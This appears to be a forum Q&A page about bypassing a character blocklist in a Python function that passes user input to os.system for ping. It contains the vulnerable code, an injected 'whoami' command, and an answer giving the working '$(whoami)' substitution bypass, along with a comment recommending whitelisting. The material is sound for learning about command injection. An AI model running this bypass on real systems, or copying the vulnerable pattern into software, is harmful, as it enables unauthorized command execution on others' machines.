I have "blackbox" with the following python function code (without permission to change it):

def exec_ping():
    forbidden = ['&', ';', '-', '`', '||', '|']
    command = input('Enter an IP: ')
    for i in forbidden:
        if i in command:
            print('Invalid characters')
    os.system('ping ' + command)

I want to execute this function with the following command input:

-c 1 localhost; whoami;

To get this command to be running:

ping -c 1 localhost; whoami;

How can I bypass the forbidden characters check? Can I use another characters/encoding?

  • 1
    Side note: This script (which is presumably a teaching tool) is a great demonstration of why whitelisting or explicit type deserialization is better than blacklist attempts - parsing out an IP address (v4 or v6) would be both easier, faster (given the nested loops), and additionally more secure. – Clockwork-Muse Aug 2 '19 at 17:55

$(whoami) should bypass the filter and executes whoami.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.